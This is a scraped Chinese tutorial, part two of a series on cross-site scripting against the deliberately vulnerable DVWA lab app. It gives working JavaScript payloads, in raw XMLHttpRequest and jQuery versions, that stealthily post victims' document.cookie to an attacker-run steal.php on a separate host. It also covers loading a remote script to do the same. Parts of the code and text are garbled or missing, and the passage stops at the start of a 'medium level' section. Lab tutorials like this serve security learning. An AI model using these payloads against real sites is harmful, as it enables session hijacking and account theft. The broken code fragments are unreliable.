通过DVWA学习XSS(2)
时间:2019-08-27 15:57 来源:网络整理 作者:采集插件 点击:次
这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php,但是这种方式有个缺点就是将cookie发送到steal.php后他会刷新页面跳转到steal.php,这样的做法难免会引起用户的怀疑,我们需要用一种更为隐蔽的方式,这里我们用ajax技术,一种异步的java,在不刷新页面的前提下神不知鬼不觉的将用户的cookie发送到steal.php。 var url = "http://192.168.50.150/dvwaxss/steal.php"; var postStr = "data="+document.cookie; var ajax = null; if (window.) { ajax = new (); } else if (window.ActiveXObject) { ajax = new ActiveXObject("Microsoft.XMLHTTP"); } else { ajax=null; } ajax.open("POST", url, true);//true代表异步 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ajax.send(postStr); 上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了,也就是当前目录下的steal.php。 "; } mysql_close(); } ?> steal.php将我们获取到的cookie存到数据库中,我们先删除目标网站数据中之前我们插入的payload,然后输入。 Name: Message:send cookie use ajax
用src加载远程服务器的js脚本,那么js就是该网站所信任的,那么js的源就会变成加载它的域,从而可以读取该域的数据,比如用户cookie,我们将请求提交后可以看到当前页面将加载了进来。
然后观察firebug的java控制台,看到 已拦截跨源请求:同源策略禁止读取位于 的远程资源。(原因:CORS 头缺少 'Access-Control-Allow-Origin')
这是因为ajax严格遵从同源策略,当前加载cookie.js的域为:8080,所以ajax不能读取不同域下的数据,但是cookie已经被发送到了域,steal.php已经将偷取到的cookie存放在了数据库中,而且页面没有刷新,很隐蔽。
还有一种方式,为了更好的兼容浏览器,我们可以使用juery ajax 删除目标网站之前的payload,输入 Name: Message:send cookie use juery ajax
使用juery前要先引入 由于dvwa中guestbook的name字段有长度限制,为了实验效果,我们用phpmyadmin将name列的varchar改为1000 服务端juery代码 $(document).ready(function(){ $.post("http://192.168.50.150/dvwaxss/steal.php",{data:document.cookie}); } ); 上面的代码同样的构造post请求将cookie作为post参数发送给steal.php 然后提交我们的输入 可见页面加载了我们的cookie.js
同时ajax也执行了
cookie也被偷取到了
medium级别 代码如下 (责任编辑:admin) |







